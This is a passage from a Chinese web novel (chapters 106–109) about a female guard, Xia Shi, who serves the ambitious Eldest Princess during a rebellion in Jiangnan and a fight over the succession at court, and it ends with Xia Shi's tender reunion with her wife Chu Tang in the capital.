“嘶——”羽林校尉忽的倒吸了一口,差点没被惊得掉下马背。有个名字在喉咙口滚了两圈,几乎脱口而出,却在这时感觉一道冰冷的目光落在了自己身上。 羽林校尉下意识打了个寒颤,循着本能往目光来处望去,不出意料对上了长公主富含深意的目光。 朝廷里多的是人精,而羽林作为禁军守卫皇城,不仅要和朝廷里的人打交道,还要和宫廷里的人打交道。哪怕只是个校尉,也都是心思机敏之辈。 羽林校尉一瞬间想了许多,但他很明白一点,那就是自己该闭嘴的时候绝对不能乱说话。于是他生生将到嘴边的两个字咽了回去。不过收回目光之前,他忽的瞥见长公主身旁那小侍卫,此刻目瞪口呆的样子和自己刚才大概没什么不同的。 一瞬间,羽林校尉心里竟生出了几分诡异的平衡来——看来被吓到的不止是自己,就连长公主身边的人也不清楚事情的来龙去脉,大家都被瞒在鼓里也算是一视同仁了。 是的,此刻同样被来人吓到的正是夏时。 她并不算是长*公主的心腹,但比起别的侍卫来说,又和长公主多了几分关联。但不管怎么说,在这里忽然看见自己消失已久的“师父”,对夏时的冲击还是挺大的。 难不成,这场叛乱是长公主自导自演的?! 夏时的心跳有点乱,她不清楚长公主这样做的目的是什么,但事已至此她显然不适合戳破内情。 于是在短暂的震惊之后,夏时飞快收敛好了表情,将所有心思都憋在了心里。至于之后对方和长公主都说了些什么,她并没有听清。乃至于后续羽林在叛军的帮助下收服整个梧州军,长公主出面对梧州军连消带打,整个过程她也是在恍恍惚惚中度过的。 待夏时再次回神,她已经护在长公主身边,跟着她一起进了桐城。 也是在进入桐城的那一刻,夏时立刻明白过来,这一场江南叛乱绝非长公主的自导自演,哪怕其中混入了长公主的人——那一道道沉默的目光落在身上,代表的是一个个麻木求生的人。他们早就不堪重负,长公主所做的或许只是在乱起之后的些许引导罢了。 而她们此行进入桐城,也绝非轻松的接收胜利果实,而是要赴一场真正的谈判。 叛军如何处置?落霞坡下的冤屈如何昭雪?乃至于江南的赋税,这些人的活路究竟在哪里?都是需要谈个清楚明白的。如果长公主没有办法让这些人满意,她们可以堂而皇之的走进桐城,可想要再从桐城脱身,恐怕也不会是件容易的事了。 106☆、第106章 ◎过得可谓是十分充实◎ 当长公主开始在江南大刀阔斧整改的时候,京城里还是一派风平浪静模样。 当然,这只是对于长公主一系来说,而对于三皇子和四皇子两人来说,近些日子简直可以用水深火热来形容了——老皇帝成年的儿子就只有六个,现在已经折了四个了,可能和他们相争的长公主也被打发去了江南收拾烂摊子,他们本以为接下来的日子会是顺心如意的。 可还没等两个皇子彻底闹崩,将对方当成竞争皇位的最大对手,主持这场争斗的老皇帝却在这时突然亲自下了场。 他根本没给两个皇子继续在朝堂扩张势力的机会,就针对两人的势力进行了一番打压。于是在短短半月之内,两人的势力非但没有增长,反而被打击得一蹶不振起来。 三皇子和四皇子两人并不是多么胆大的人,之前他们在夺嫡的过程中,也基本属于小透明一样的存在。毕竟两人既没有大皇子居长的优势,也没有五皇子的嫡出正统,还没有二皇子的勇武过人和六皇子的圣宠在身。扒拉手指算一算,两人在六位皇子中就是个凑数的,只能抱团取暖的样子。 可这一切都在近两个月内被打破了,不论是两人的小透明属性,还是两人尚算兄友弟恭的氛围。 直到最近老皇帝两个巴掌扇过来,兄弟俩一人挨了一记狠的,膨胀的自信心瞬间跟漏气的气球似得,瘪了个干净。再回过头来看看好兄弟,顿时又有种同病相怜的感觉了。 这日午后,四皇子便又像从前一样抱着一坛好酒,登了三皇子府的大门。 三皇子听说对方来了也没有避而不见,照旧在水榭接待了四皇子。两人一番推杯换盏,酒意微醺之事,话匣子也由此打开了。 四皇子哭着一张脸,一只手还抓着三皇子的衣袖:“三哥你说,老头子是不是疯了?老大、老二、老五、老六全都没了,现在就剩咱们哥俩了。他不说好好培养培养,从你我之中选个合心意的继承人,却还要这样不遗余力的折腾,这到底是想干什么啊?” 三皇子听他话说得出格,却也没有太过担心,毕竟兄弟俩从前也没少私下抱怨。而这水榭建在一片人工湖中,四面环水,奴仆也早被他远远打发了,根本不必担心两人的话被旁人听见。 四皇子拽着三皇子的衣袖,不等对方回答就又说到:“难不成老头子真的属意老七?他就这么偏爱小的,打压咱们给他铺路,弄得咱们兄弟跟捡来的似得……” 这次没等四皇子继续抱怨,却听“砰”的一声,是三皇子一掌重重拍在了桌案上。 这一下力道不轻,桌案上的碗碟都跟着颤了颤,连带着一杯酒水也被震得翻倒,酒水沿着桌沿淌下,滴滴答答洒落在了三皇子的袍脚。可他根本顾不上这个,四皇子一抬头,就看见他的老实人三哥此刻眼中划过一抹狠色:“不可能,老七他凭什么?就凭他年纪小吗?!” 这话说来都可笑,有道是国赖长君,从来没听说过夺嫡年纪小才是优势的。尤其老皇帝年纪也不轻了,近年来精力肉眼可见的减退,天知道他还有没有时间等到七皇子长成。 四皇子顿了顿,然后跟着附和了一句:“就是,那小子什么都没经历过,凭什么好处都归了他!” 三皇子咬着牙,眼中的狠色渐渐收敛了,但心里却想到了更多——之前兄弟们比他优秀,他比不过也就算了,现在这局势凭什么还要给小的让路?七皇子不就是仗着年纪小吗,可宫里还有比他更小的,就是不知父皇有没有那个本事,活到幼子成年了! ********************************************************* 夏时跟着长公主在江南的这些日子,过得可谓是十分充实。 解决梧州将军、收服梧州军只是个开始,之后和桐城叛军谈判、挖掘出落霞坡下的累累白骨重新安葬,也不过是费了些时间精力。死去的人终究已经死了,活着的人也只是在为自己争取活下去的机会罢了,因此平乱很快变成了整顿江南吏治。 这也是长公主相当有先见之明的一点。她早知道老皇帝待她苛刻,连平乱都只给了她一千羽林,自己想要接触军队基本上是不可能的。因此她转而求了一道圣旨,让江南各地的官府配合她,允许她在江南便宜行事。 这份圣旨,也就成了长公主在江南插手吏治的一个契机。与此同时,她行事依旧秉持着雷厉风行的原则,打算趁着江南各地的奏疏送到京城之前,做完自己想做的事。 为此,本该贴身保护在长公主身侧的夏时,偶尔也会被她外派出去做事。 比如今晚,夏时就带着几十个羽林赶到了大兴县县衙,并且“恰好”帮县衙灭了一场火,救下了县衙中许多积年的文书记录。 大兴县令看到她们这群人时,脸都苦了,可转过头又不得不挤出一脸的笑容迎了上来:“诸位大人,这,这大晚上的,怎,怎么都来了?” 他其实更想问的是,这些羽林究竟是从哪儿冒出来的? 大兴县令白日才得到的消息,那位朝廷派下来的钦差长公主,最近正折腾着查这五年间的田亩户籍呢。不是一年年的看,而是拿如今的数据和五年前水患之前的数据做对比。 这可就难为人了,如果是一年年的对比,文书上一笔笔记录下来不会让人觉得少了几户人家,几十亩“荒地”是什么大问题。可要是将时间线拉长,不看那些细账直接对比的话,就会发现大兴县这五年间田亩和人口都减少得相当离谱。 这也是没办法的是,天灾人祸的时候,本就是各地豪强和官府争人抢地的时候。惯例如此本来糊弄一下也能说得过去,可偏偏五年前江南除了水患又平白死了许多人。有些无主的田地就此被豪族弄到了手里,豪族为了让自家的田地有人耕种,又会进一步压迫百姓成为自家的隐户。 一来二去,田地和人口的流失就积累成了一个相当夸张的数字。 大兴县令闻听消息之后翻出文书记录来对比了一下,自己都看不下去,就更不要指望这些东西能糊弄住长公主了。而且后者来得又急又突然,大兴县令连做假文书的机会都没有,最后一咬牙一跺脚,干脆决定来个死无对证,一把火烧了往年记录! 可惜,他自觉已经相当果断了,从收到消息到动手也不过半天功夫。尤其动手烧库房时天都已经黑了,县城的城门也关了,哪知竟有羽林提前混进了城,还偏在这时堂而皇之的跑了出来救火。 大兴县令看着面前小侍卫年轻的脸庞,一口牙都要咬碎了,心里一瞬间甚至生出了灭口的想法。 夏时常年和野兽搏命,对于危险的感知自然相当敏锐。她一边挥手示意同行的羽林们将库房中的文书保护好,一边从怀中掏出块令牌来:“长公主有令,命我等前来大兴县调取文书。我等入城时天色已晚,本打算明日再寻大人的,不巧今夜发生意外,也幸好这些文书未曾受损。” 大兴县令瞥一眼已经被羽林们护住的文书,再瞥一眼羽林们身上鲜亮齐全的甲胄,又默默扫了眼自己衙门里的一众衙役……罢了,实力根本不在一个层面上,想动手也打不过。 放弃了将人灭口这不切实际的打算,大兴县令一面着急,一面心里却又有些庆幸,还好来的只是这几个人,长公主尚未亲至。随后他一个眼神扫过身旁的师爷,师爷立刻陪着笑脸上前来打圆场道:“是啊是啊,大人说的是,幸好这些文书无事,否则我等都不知该如何与长公主交代了。” 然后很快,师爷就接手了和夏时等人交流的事。他先是夸赞了羽林救火的英勇,又“谢”过了一行人的相助,最后才说道:“如今夜已深了,诸位先前忙着救火已是一番忙碌,继续守在这里也着实辛苦。左右这些文书也是要送给长公主调阅的,不如诸位现在就将它们抬走安置好,也好顺便休息。” 夏时听他说完了,这才接话道:“不必如此,殿下明日便可入城,我等便在县衙守一夜也不算幸苦。” 大兴县令闻言眸色不由沉了沉,可任由他和师爷磨破了嘴皮子,也没能让这群羽林挪步半分。甚至就连县衙里送出来的水和宵夜,这群羽林也都一样没碰,只吃喝自带的水和干粮。 就这样,一夜时间在各种试探和隐隐对峙中结束了。翌日长公主并未如约亲至,但保存完好的文书记录却在这一行羽林的护送下顺利运出了大兴县。 而这样的事情也并不止是发生在大兴县一地,五年前水患所经之地,两州十三县全在长公主的调查范围。只是有的县羽林去得快,有些县羽林去得慢些罢了,各县的文书记录却是在源源不断的向着长公主汇总而来。 她要查一查,这几年这些地方人口和土地流失得有多快,桐城那些叛军乱民在作乱之前,又究竟背负着多重的赋税。后者皇帝可能并不在意,但地方豪族在朝廷手中抢人抢地,他总不会毫不在意! 107☆、第107章 ◎她目光灼灼,藏着掩不住的野心◎ 长公主仗着身份和那一千羽林在江南闹了个天翻地覆,告状的奏疏送到京城时,却已是大半个月后了。而彼时老皇帝也已经没有心思再理会这份奏疏了。 原因很简单,就在不久前老皇帝的万寿节前夕,近来备受他宠爱的七皇子居然夭折了! 这时候未成年的孩子夭折是常态,即便是皇家也不例外,老皇帝也曾有几个孩子夭折,只是没排入序齿罢了。可七皇子已经十岁了,而且最近老皇帝时常在朝堂之上提他聪慧果敢,大有要将小儿也带上朝堂听政的意思。可就在这关头,七皇子却因一场风寒就这么去了。 别说是满腹算计的老皇帝了,明眼人都看得出来这事有猫腻。可奇怪就奇怪在老皇帝亲自派人调查,也并没有从七皇子生病到夭折这整个过程中发现丝毫端倪。 似乎七皇子的夭折当真只是一场意外? 不管别人信不信,反正查不出问题来的老皇帝自己是不信的。也因此他近来脾气越发暴躁,对身边的人也越发疑神疑鬼起来——七皇子受他看重之后,身边可不少照顾保护的人,就是在这样的情况下他也无声无息的夭折了,还根本查不出问题,这在任何人看来都是件极可怕的事。 尤其皇帝年老,对于自己的性命安危越发看重,就更容不得人算计了。此外万寿节前这个时间也相当敏感,总让老皇帝有种对方是故意选这个时间,做给自己看的感觉。 至于怀疑对象?老皇帝心里当然有人选,无外乎仅剩的两个成年皇子罢了。 朝堂之上,宫廷之内,老皇帝不止一次用阴恻恻的目光看向自己这两个儿子。他有时候想分辨出其中究竟谁是幕后真凶,有时候又破罐子破摔想要将两个危险的源头一并解决算了。 三皇子和四皇子时常被这样凶恶的目光洗礼,心理压力自然极大。四皇子自知事情不是自己做的,不止一次想要出卖三皇子,可问题是他手中也根本没有三皇子动手的证据。如果他没有证据贸然开口,三皇子必定反咬他一口,到时候除了将局势闹得更乱根本没有丝毫好处。 于是事情就这样僵持下去了。 老皇帝对两个儿子的忌惮打压愈甚,三皇子和四皇子的日子也根本没有因为七皇子的出局而有所改变。相反两人就像是被赶入了穷巷的狗,除了发疯好像再没有别的出路。 就这样,京中的气氛逐渐紧绷,朝堂之上更是压抑。 江南的奏疏就是在这样情况下被送进京城,放到皇帝案头上的。只不过老皇帝目前正满腹心事,应对眼前尚且费力,看过奏疏内容后也不过皱了皱眉,并没有多说什么。 唯一让老皇帝意外的是,长公主南下平定叛乱的速度这么快,短短一月时间不仅解决了梧州军和桐城叛军两支兵马,还有时间去江南官场折腾了。不过江南那边欺上瞒下的事他心里也有数,转念一想,让安平去那边折腾折腾,似乎也不是什么坏事? 总比敢在自己眼前残害兄弟的逆子强多了! 想到这里,老皇帝心口就是一堵,随手将眼前的奏疏合上往旁边一丢,就扭头冲着梁忠吩咐道:“老三呢,我让他在工部督办的事如何了?把人叫进宫来,我要亲自问问。” 梁忠闻言谨慎俯首应是,匆匆走出大殿,吩咐门外的小内侍去工部叫人。 看着小内侍领命之后快步远去的背影,梁忠不由长长吐出口气——近来皇帝性情阴晴不定,身边人都没少吃挂落,他其实也不例外。不过相比起自己,梁忠觉得三皇子和四皇子的日子似乎还要更难熬些,比如即将被叫来的三皇子,定是少不了一顿骂,甚至还有责罚! 梁忠抬眸,看见远处殿宇上方一片阴沉天色,心中总有种说不出的压抑和不详。 ********************************************************* 早在江南的奏疏送入京城之前,萧晏书便已使人往江南送去了书信。 公主府私下的书信传递自然比不上八百里加急来得快,但送到长公主手中也并没有迟上太久。而彼时长公主也不过刚收拢了各县文书,还没来得及细细梳理,也没来得及处置善后。 信是夏时带进屋子呈递给长公主的,后者拿到手之后拆开一看,脸色霎时大变——向来泰山崩于前而色不变的长公主,这次居然没忍住猛地站了起来,撞到身后的椅子发出“吱”的一声尖锐声响。也将送信过来的夏时吓了一跳。 夏时不知那信上究竟写了什么,让长公主如此失态,但她和楚棠如今已算是和公主府绑定了。她自己跟在长公主身边还好,就怕京城生了什么变故,会累及楚棠。 因此犹豫再三,夏时明知不该还是问了一句:“殿下,信上写了什么?京中出事了吗?” 小侍卫心里想的什么,脸上几乎都写得明明白白。长公主一眼就看穿了她心中忧虑,可她随手将书信一收,也并没有给对方看的打算:“京中出了变故,我们需得加快速度……罢了,咱们明日便启程回京,江南这边就先交给王侍郎善后。这些文书路上再看,带进京城正好当个证据。” 王申作为朝廷钦差,当然也是有资格处理后事的,而且以对方的品性能力,将事情交给对方也绝无问题。再不济还有唐奕、沈知微帮忙,明家提供后勤资源,总不至于安置不好那些乱民。 长公主心中迅速有了成算,可她这一天都等不下去的反应,却让夏时心中不安极了。她目光紧紧盯在长公主手中那封书信上,如果不是顾虑着身份,大有上前抢夺的冲动。 好在夏时耐心告罄之前,长公主终于还是给了她一颗定心丸:“好了,京中之事与楚棠无关,她好好的没事,你就不必操心了。”说罢摆手赶人:“快出去和他们说,咱们明日启程,都赶紧收拾起来。再让人去准备船只,咱们这次走水路回京。” 听到长公主一连串吩咐,夏时却是松了口气。只要楚棠没事,她也不在乎京城到底发生了什么让长公主如此不淡定,当即便领命出去,很快完成了长公主的吩咐。 自然,听到这突如其来命令的所有人都很惊讶,羽林校尉还没来问,王申倒是先一步到了。 半个多月过去,王申比起刚见面时仿佛又瘦了些,但却依旧精神奕奕。他急匆匆赶到长公主暂居的宅邸,一路找到了书房,未等通禀就闯了进去:“殿下,您要走?” 长公主正在桌案后整理文书,这些东西她没来得及处置的,之后还得在船上加班加点的处理。猛然见到王申闯入,抬眸看去时不悦皱眉。 守在门口的两个侍卫没能拦住人,见状连忙告罪。 长公主却叹了口气,挥挥手将两个侍卫遣退了,又令人将书房大门关好。 待房中只有二人了,长公主这才开口说道:“本宫不是怕麻烦想要抽身,是京城那边出了问题。”她说着起身从书案后绕了出来,走到王申近前,这才压低了声音说道:“万寿节前,七皇子薨了。” 只这短短几个字,同样在中枢待了多年的王申,哪里还不明白这代表着什么——皇帝明显不服老,想要拉七皇子打压两个成年皇子,以此平衡局面。可现在这布局都尚未开始,就被人用这种手段打破了,还是在万寿节前这样敏感的时机,简直是在皇帝的敏感神经上反复踩踏。 最重要的一点,老皇帝虽然已经老了,但离死还远着呢。而掌握生杀大权的皇帝一旦被激怒,会是怎样的可怕后果,简直想想都让人头皮发麻。 王申暗吸口气,不用猜他都知道,如今的朝堂上该是怎样的风声鹤唳。 回过神后他又看向长公主,眉头紧皱不甚赞同:“殿下既然收到消息,应是知道京中局势混乱的。您好不容易远离京师避开了此次漩涡,又何必急匆匆赶回去掺和呢?” 王申这话说得没错。长公主本就不受宠,她这时回去京城不仅起不到什么作用,还有可能惹上一身骚。倒是留在江南稳扎稳打,一面收复民心,一面竖立威望,顺便还能尝试收服身边那一千羽林,这才是长公主目前最好的选择。 长公主心中自然明白对方好意,可她并不打算这么做。她目光灼灼,清亮有神,里面藏着掩不住的野心——她当然知道怎么做才是最稳妥的,可她同样知道富贵险中求的道理。 如今朝堂平衡被打破,以她父皇的性子恐怕很难再容忍,即便找不到证据也会加倍打压三皇子和四皇子。这两人都不是皇帝精心培养过的继承人选,他们在这样的打压下恐怕很难承受隐忍。过不了多久,京中肯定会再生变故,她待在江南固然可以再次避开,但与此同时恐怕也会错失良机。 无论这个机会是好是坏,长公主都打算尝试抓住看看,而不是只能远远的看着听天由命。 当然,王申还没有正式投诚到长公主麾下,她也没必要与对方说这些交心之言。长公主只是固执的回应了一句:“侍郎不必多言,此处便托付给卿了,本宫明日启程回京。” 108☆、第108章 ◎自然是来接你的◎ 夏时并不清楚长公主心里的计较,但能提前回京她还是很高兴的。尤其这次回京长公主还专门准备了船走水路,这可比来时快马加鞭舒服得多了。唯一的问题就是夏时没怎么坐过船,有些晕船,不过她体质好适应两天也就习惯了。 当然,长公主自己是没闲着的,她手里还有许多公文需要处置需要看。不过这就和夏时没什么关系了,毕竟她只是个不擅读书的小侍卫,和文书打交道的事着实轮不到她。 于是在接下来的行程里,夏时过得可谓悠闲自在。 如此船又行了十来天,终于抵达了京城,沿途一帆风顺无事发生——倒也不是没人想打长公主的主意,然而长公主此行回京是将那一千羽林全部带走的。她一个羽林都没给王申留,一千兵马还凑了个船队,浩浩荡荡行在江上,只要脑子正常的人便都不敢招惹。 当夏时走下大船,一脚踏上京城土地的那一刻,心中都不免生出了感慨。她跟着长公主离京时还是盛夏,在江南虽然耽搁不久,但回来也已经入秋了。 就是这京城的秋天还是有些热,日头明晃晃的照在身上,夏时刚在码头站了一会儿就被晒得不行了。 她一边拿手扇着风,一边躲去了阴凉处,目光在陆续下船的羽林们身上转了转,最后又落回了长公主身上——好不容易回京,应该没人敢动长公主了吧?既然如此,那她是不是也没事了?现在过去向长公主告辞回家见老婆,应该没有问题吧? 夏时心里蠢蠢欲动,脚刚往前迈出一步,手臂却忽的被人一把抓住了。 她被吓了一跳,虽然码头人多,虽然她没有专注防备,但她可是以机敏著称的猎户,就这样被人近身抓住了手臂,还是太出乎意料了。 夏时几乎是本能的飞快抓住了那只手,一个反剪制服……然后就没有然后了。她做完反剪的动作之后甚至都没来得及用力,身体便比意识更先一步发现了对方是谁。 迅速泄力之后将人拉起,夏时紧张又急切的问道:“怎么样,没事吧?没伤到哪里吧?” 楚棠捂着被捏疼的手腕,没好气的瞪了她一眼:“你做什么这么冒冒失失的,伤到人怎么办?” 夏时低头,乖巧认错,一双眼睛却还眼巴巴看着楚棠的手腕。这一看就看到她白皙的手腕上红了一圈,活像是被人虐待过一般,顿时心疼不已:“都是我的错,是我反应过度了。你的手没事吧?疼不疼?我这里还有些药,你先用上一些。” 她一边说着,一边急忙忙从怀中掏药瓶——从前做猎户时她身上就时常带药,现在做侍卫跟在长公主身边,这习惯也没有变。长公主知道之后还特地给了她些宫廷密制的好药,不过江南一行谁都没用上,倒是现在被她拿出来准备给楚棠用了。 楚棠一眼就看出那药瓶的不凡,顿时猜到了这药的来历。她无奈的推开夏时准备帮她上药的手:“好了,我没事,你收手得及时,还用不上这些药。” 夏时抿了下唇,目光还是往楚棠手腕上瞥。不过楚棠坚持不必上药,她也没有办法,只好听话的将药瓶重新收好,这才想起了什么,问道:“阿棠,你怎么会在这里?” 话出口,一丝惊喜缓缓从心底溢出,夏时的眼睛也渐渐明亮起来。 楚棠最爱看她欢喜的样子,眉眼也不由的露出几分温柔笑意来:“自然是来接你的。” 夏时一听这话,心底的惊喜简直满溢了出来。她顾不得周围人多眼杂,上前一步拦住楚棠的腰,抱着人就在原地转了一圈,高兴得眼睛都笑弯了:“真的?你怎么知道我今日回来?” 这些日子夏时跟在长公主身边保护,对方的一举一动她几乎都知道得清楚。因此她很清楚长公主此前根本没往京城送过信,更没有提前通知人过来迎接。那既然如此,楚棠又怎么会知道自己今天回来,还特地来接?她总不会日日都来码头等着吧?再说她们还有可能骑马回来呢。 楚棠看出她满脸疑惑,略略凑近了些,才在她耳边答道:“我猜的。我猜殿下收到传信,必定不会在江南干等,你就可以跟着殿下一起回来了。” 当然,楚棠的猜测还不止这些。比如她猜到了长公主选择果决,一日都不会多在江南耽搁。再比如她猜到长公主此行回京必定会保存精力,因此也不会像南下时那样骑马疾行。如此算一算送信的日子,再算一算行船的日子,哪怕猜得不十分准确,但左右也不过是这两天的事了。 她猜到了,心中又思念夏时,想要第一时间看到她,那过来码头等等又有何妨? 夏时似乎也领会到了楚棠的心意,高兴的侧过头在楚棠脸颊上亲了一下,衷心赞道:“阿棠果然是最聪明的,真厉害。”赞完又问:“那你等了几天了?” 楚棠被她这大胆的动作弄得一惊,急忙看看周围,好在并没有什么人注意到她们。正要收回目光,不料却正好与远处的长公主对上了视线,对方眼底还藏着几分戏谑,显然是将刚才夏时抱着她又是转圈又是亲脸的动作都看在了眼里。 她脸一下涨得通红,手忙脚乱的推开了抱着自己的夏时:“好了别闹,这是在外面。”说完轻咳一声,又道:“我该去拜见殿下了,你也一起吧。” 夏时刚被推开还有些不高兴,等听完楚棠的话,立刻意识到问题出在了哪里。 她倒是脸皮够厚,并不在意自己和老婆的亲近表现被人看了去。可奈何她老婆脸皮薄,又是被长公主瞧见了,这会儿怕是已经羞得不行了。 夏时便也不多说什么了,只是仍旧坚持的牵着楚棠的手,这才带着她一起去见长公主。 ****************************************************************** 楚棠不仅聪明,运气其实也不错。 她早就算到长公主应是最近几日抵达京城,也和萧晏书说好了自己去迎接。但恰巧的是今日正好是她第一次来码头等人,甚至她也只比夏时她们的船早到了不到一个时辰,结果就这样轻易的接到了想接的人,比提前送信还要顺利。 小两口久别重逢,小小的黏糊了一下之后,面对长公主楚棠才说明了自己前来迎接的真正目的——接老婆回家算是私事,自然不好拿到台面上说,她来迎接长公主其实是为了提前告知对方京中局势。 有关于这一点,萧晏书送出去的那封信其实就已经说得差不多了,后续发展长公主自己也能猜得到。因此楚棠见了长公主,只和她说了说最近发生的一些“小”事:“前几日三皇子的差事办砸了,据说陛下在朝堂上骂他骂了足足一个时辰。四皇子的日子也不好过,他被扔去户部清账了,这可是个得罪人的差事。不过比起这些,昨日宫中又有消息传来,说是李嫔被陛下厌弃,降了位分不说,还被封了宫。” 李嫔正是三皇子的母妃。她本是宫人出身,阴差阳错被帝王宠幸才有了三皇子,又用了几十年才爬上了嫔位,因此三皇子出身不显外家也不显。可不论怎么说,她也是三皇子的母亲,就算不提母子情分,老皇帝这样对待李嫔也是在打三皇子的脸。 而且封宫这事可大可小,若只是一时的自然无碍,可要是封久了就代表圣心已失。哪怕李嫔没有被打入冷宫,她所居住的宫殿也会成为新的冷宫。 这些内情不必楚棠来说,长公主心里比谁都明白。而她对于自己那些兄弟的了解,也不是楚棠这样的外人能比的,她听完之后只轻声说了一句:“老三自幼和母亲相依为命,母子情分非同寻常。” 楚棠一听,立刻就明白了——皇家没有亲情,所以老皇帝只将发落李嫔当成了打压三皇子的手段,和之前在朝堂上的无数次打压没什么区别。可人和人是不同的,如果三皇子真和母亲感情深厚,老皇帝这顺手一次的打压,说不定就是压死骆驼的最后一根稻草。 想到这里,楚棠下意识抬头看了看天,只见头顶蓝天白云阳光明媚。可此时的她却从这初秋的艳阳之下,隐隐嗅到了风雨欲来的气息。 长公主也跟着抬头看了看天空,接着秀眉轻挑,眼底露出几分锋锐来。 也就在这时,一直站在两人身侧静静守护的夏时见二人停了话头,突然插进来说了一句:“回京之后应该没什么事了,殿下,我能回家休息几天吗?” 原本严肃的气氛霎时被打破了,长公主收回目光在夏时身上瞥了眼,又落在楚棠身上转了一圈,颇有些了然:“久别归来,想留在家里多陪陪夫人?” 夏时眼睛一亮,连忙点头,岂止是这一次的久别,上回楚棠出狱她都没来得及好好陪陪对方就南下了。现在长公主回到京城*,应该也不缺人保护,她回家陪陪老婆岂不是正好? 哪知长公主对上夏时亮晶晶的眼神先是莞尔一笑,紧接着却笑容一收,无情拒绝道:“不行。” 夏时刚扬起的笑容僵在脸上,还想要据理力争两句,结果话没出口就被楚棠拉了回来。她安抚似得捏捏夏时的手,轻声道:“不急。我近来也有事忙,等过些日子咱们一起休息可好?” 老婆都这样说了,夏时还能说什么?她只能乖乖点头,打算等回家再向老婆讨点补偿。 109☆、第109章 ◎看向老婆的眼神都变得幽怨起来◎ 夏时并没能如愿带着老婆回家,因为在她南下之后,楚棠就搬去了公主府的客院暂居。 楚棠心里惦记着一些事,最近也不打算和夏时回那临时租来的小院:“阿时,咱们今日先跟长公主回公主府好不好?那院子我一个多月没回去,都是灰。而且你这才从江南回来,舟车劳顿的,也该好好休息一番,就别急着回去收拾了。” 夏时总是很听楚棠的话,哪怕听到这翻话后,她心里只以为楚棠是嫌弃小院破旧。但既然对方能过得更好一些,她当然也不会硬拉着楚棠吃苦。 就这样,夏时告假不成,还是乖乖的跟着长公主回去了公主府。 楚棠在公主府是有一处单独客院的,事实上公主府的幕僚都有这般待遇,她在其中也不显出挑。而公主府的客院,自然也比夏时自己租的院子不知好上多少。 两人刚回到客院,便又公主府的侍女送来了热水和吃食。 楚棠推着夏时先去沐浴:“你的衣裳我也带过来了,先去沐浴洗一洗。乘船虽然少了风尘,但这天气在外面走一趟都是浑身的汗,等洗漱完再来用膳也更舒服些。” 她说得很有道理,夏时也没拒绝她的推搡,只是在楚棠将她推进浴房准备离开时,反手将人拉住了。 楚棠垂眸看了看抓在腕上的那只手,又抬头看向夏时,眨了眨眼。 夏时没说话,只是拉着楚棠的手稍稍用了点力,暗示十足。 楚棠犹豫了一下,没有立刻推开,结果就被夏时抓住了机会,一把扯进了浴房。然后“砰”的一声将浴房门关上,等两人再出来时已经是大半个时辰之后了。 夏时手里拿着一张干净的帕子,裹住楚棠的长发,帮她一点点绞干。这事她干得熟练极了,从前还在云雾山时,她就常帮楚棠打理长发,等后来楚棠沦落狱中,每次沐发也都是她亲力亲为。分开这一两月她也没觉得手生,细致又耐心的帮楚棠将发丝间的水分一点点挤压出来。 半晌,楚棠的一头长发终于被夏时擦得半干,她这才扔开了浸湿的帕子,又取了木梳过来,帮楚棠一点点将纠缠在一起的发丝梳通梳顺。 乌黑的发丝带着冰凉的湿气,缓缓在指尖划过,夏时的眉眼都跟着温柔了许多。 她是很喜欢帮楚棠打理头发的,尤其看着凌乱的发丝在自己指尖一点点变得柔顺通畅,更是让人从心底生出几分满足来。夏时很享受这个过程,她的动作也很轻,待到发丝彻底被梳顺之后,她再用干帕子继续包着楚棠的头发擦拭一遍,发间的水汽也就能去了大半。 楚棠一手托腮,透过梳妆台上的铜镜望着夏时的一举一动。她有些困倦,尤其看着夏时眉宇间的温柔,心也像是被泡在了温水里,变得软软的。 只是现在天色不早不晚,实在不是睡觉的时候。楚棠便强打起几分精神,寻了个话题问道:“阿时,这段时间你跟着长公主在江南怎么样,有没有遇到什么危险?” 夏时闻言略抬了抬眸,正好和铜镜里的楚棠对上视线,两人的视线便又无声纠缠了一会儿,透着股难言的黏腻。好在也只是眉目传情,夏时没再做什么出格的事,片刻后依依不舍的收回目光答道:“也还好,没什么危险,到桐城的第一天长公主就让我把那个梧州将军干掉了。” 楚棠闻言略挑了下眉,倒也没有十分意外。毕竟事到如今,她很清楚长公主的野心,而在本朝没有女帝先例的情况下敢于去争那个位置,就证明长公主必是坚定果决之人。 果然,楚棠接着就听到了夏时叙述的一系列雷厉风行举动,每一样都证明着长公主的果决也胆大。唯一可惜的是京中变故发生得太快太突然,使得长公主只能善始而没有善终,留下王申想要收拾江南的烂摊子,哪怕有唐奕等人帮忙,恐怕也不是件容易事。 不过事到如今,楚棠也顾不上这个了,与江南一地相比显然还是长公主的大业更重要。 她思绪不知不觉有些飘远,连夏时什么时候帮她把长发梳好的都不知道。直到一串冰凉的水珠甩落在脸上,她才猛然回神。 楚棠回过头一看,就见夏时正摇头摆脑的甩着发丝上的水珠……这人真是越发像是只大狗了,这甩水的举动分明是不高兴自己走神,故意的。 她有些好笑,赶忙起身一把捧住了夏时的脸:“你做什么,不怕头晕啊?” 那倒没有,夏时只是甩了甩头发,还不至于。而这一番动作之后,她半长不短的头发也还在滴着水,显然是只顾着帮老婆,一点没顾上自己。 楚棠见状顺手把人按在了梳妆台前坐下,自己取了帕子来替夏时擦头。她是个细致的人,但这次却有意将帕子盖在了夏时头顶,然后直接一通揉搓。 不消多时,夏时顶着一头乱糟糟的头发被放了出来,倒是不滴水了。 两相对比,夏时望着面前铜镜里的楚棠,眼神都是幽怨的。而楚棠看到这副场面也没想着哄人,反倒“噗呲”一声笑了出来,结果夏时自己也没憋住,跟着一起笑了起来。 “你可真是……”夏时想抱怨一句什么,又实在想不出来。 两人笑闹了一阵,夏时抬手捋了捋乱糟糟的长发,忽然抱怨了一句:“头发好像有些长了,有点碍事,要不阿棠你帮我剪短一点吧。” 夏时山中猎户出身,可没那么多讲究,她的头发一直没留太长,只要随手能束起就行——如果不是怕头发太短让人以为是姑子,她连这点长度都嫌长。毕竟常年在山野中行走奔跑,一个不小心被挂到头发也是很麻烦的,万一逃命的时候遇到这种事就更别提了。 当然,夏时嫌弃打理麻烦也是个极大的原因,她只是喜欢帮老婆打理头发而已。 楚棠看她这样也都习惯了,不过现在被夏时一提,她伸手捋了捋夏时的头发,却道:“还是别了吧。你这头发还没我一半长,还是再留长一些,才能梳起好看的发髻。” 夏时想说自己哪儿需要这个,转念忽然想起自己已经不需要进山打猎了,今后都会陪着楚棠留在京中。她抿了下唇,心中忽然涌起点说不出的惆怅来,仿佛后知后觉意识到了背井离乡的怅然。但对于自己留下的决定,也并没有半分的动摇。 ******************************************************** 